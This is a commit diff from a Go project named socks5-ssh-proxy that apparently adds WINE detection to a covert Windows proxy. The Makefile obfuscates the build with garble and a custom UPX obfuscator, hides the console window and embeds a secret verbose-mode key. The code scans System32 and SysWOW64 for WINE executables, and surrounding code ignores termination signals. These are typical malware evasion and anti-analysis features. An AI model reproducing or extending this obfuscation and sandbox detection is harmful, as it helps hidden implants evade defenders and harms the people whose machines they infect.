Initial work on systemOSDetect for WINE
This commit is contained in:
parent
426f76ba37
commit
3582461888
3
Makefile
3
Makefile
|
|
@ -1,6 +1,7 @@
|
||||||
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go
|
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go
|
||||||
GARBLE_BIN = $(shell go env GOPATH)/bin/garble
|
GARBLE_BIN = $(shell go env GOPATH)/bin/garble
|
||||||
GARBLE_CMD = $(GARBLE_BIN) -literals -tiny
|
GARBLE_CMD = $(GARBLE_BIN) -literals -tiny
|
||||||
|
RELEASE_VERBOSE_MODE_KEY ?= ""
|
||||||
|
|
||||||
all: socks5-ssh-proxy
|
all: socks5-ssh-proxy
|
||||||
|
|
||||||
|
|
@ -20,7 +21,7 @@ socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN)
|
||||||
upx $@
|
upx $@
|
||||||
win: socks5-ssh-proxy.exe
|
win: socks5-ssh-proxy.exe
|
||||||
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
|
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
|
||||||
GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags -H=windowsgui -tags release -o $@
|
GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@
|
||||||
upx $@
|
upx $@
|
||||||
go run cmd/upx-obfuscator/main.go $@
|
go run cmd/upx-obfuscator/main.go $@
|
||||||
goreleaser: resources $(GARBLE_BIN)
|
goreleaser: resources $(GARBLE_BIN)
|
||||||
|
|
|
||||||
3
main.go
3
main.go
|
|
@ -133,7 +133,8 @@ func main() {
|
||||||
|
|
||||||
log.Println("SOCKS5 Addr", proxyServerURL)
|
log.Println("SOCKS5 Addr", proxyServerURL)
|
||||||
|
|
||||||
systemGetWellKnownBinaryPaths()
|
systemOSDetect()
|
||||||
|
systemGetWellKnownExistingPaths()
|
||||||
|
|
||||||
mainLoop()
|
mainLoop()
|
||||||
}
|
}
|
||||||
|
|
|
||||||
56
system.go
56
system.go
|
|
@ -6,6 +6,7 @@ import (
|
||||||
"os"
|
"os"
|
||||||
"os/signal"
|
"os/signal"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Route all logging
|
// Route all logging
|
||||||
|
|
@ -45,6 +46,21 @@ func systemIsDirExisting(path string) bool {
|
||||||
return info.IsDir()
|
return info.IsDir()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func systemGetFilesInDirectory(path string) ([]string, bool) {
|
||||||
|
var filesInDirectory []string
|
||||||
|
|
||||||
|
files, err := os.ReadDir(path)
|
||||||
|
if err != nil {
|
||||||
|
return nil, false
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, file := range files {
|
||||||
|
filesInDirectory = append(filesInDirectory, file.Name())
|
||||||
|
}
|
||||||
|
|
||||||
|
return filesInDirectory, true
|
||||||
|
}
|
||||||
|
|
||||||
func systemIsFileExisting(path string) bool {
|
func systemIsFileExisting(path string) bool {
|
||||||
// Get file info
|
// Get file info
|
||||||
info, err := os.Stat(path)
|
info, err := os.Stat(path)
|
||||||
|
|
@ -61,7 +77,35 @@ func systemIsFileExisting(path string) bool {
|
||||||
return !info.IsDir()
|
return !info.IsDir()
|
||||||
}
|
}
|
||||||
|
|
||||||
func systemGetWellKnownBinaryPaths() []string {
|
func systemGetSysWOW64Files() []string {
|
||||||
|
sysWOW64Path := filepath.Join("C:", "Windows", "SysWOW64")
|
||||||
|
files, _ := systemGetFilesInDirectory(sysWOW64Path)
|
||||||
|
return files
|
||||||
|
}
|
||||||
|
|
||||||
|
func systemGetSystem32Files() []string {
|
||||||
|
system32Path := filepath.Join("C:", "Windows", "system32")
|
||||||
|
files, _ := systemGetFilesInDirectory(system32Path)
|
||||||
|
return files
|
||||||
|
}
|
||||||
|
|
||||||
|
func systemGetWellKnownWINEOSFiles() []string {
|
||||||
|
var wineFiles []string
|
||||||
|
var foundFiles []string
|
||||||
|
|
||||||
|
foundFiles = append(foundFiles, systemGetSysWOW64Files()...)
|
||||||
|
foundFiles = append(foundFiles, systemGetSystem32Files()...)
|
||||||
|
|
||||||
|
for _, file := range foundFiles {
|
||||||
|
if strings.Contains(file, "wine") && strings.Contains(file, ".exe") {
|
||||||
|
wineFiles = append(wineFiles, file)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return wineFiles
|
||||||
|
}
|
||||||
|
|
||||||
|
func systemGetWellKnownExistingPaths() []string {
|
||||||
var existingPaths []string
|
var existingPaths []string
|
||||||
|
|
||||||
appDataPath := systemGetAppDataPath()
|
appDataPath := systemGetAppDataPath()
|
||||||
|
|
@ -110,3 +154,13 @@ func systemIgnoreAllSignals() {
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func systemOSDetect() {
|
||||||
|
wineOSFiles := systemGetWellKnownWINEOSFiles()
|
||||||
|
if len(wineOSFiles) != 0 {
|
||||||
|
log.Println("WINE detected")
|
||||||
|
for _, file := range wineOSFiles {
|
||||||
|
log.Println("\t", file)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue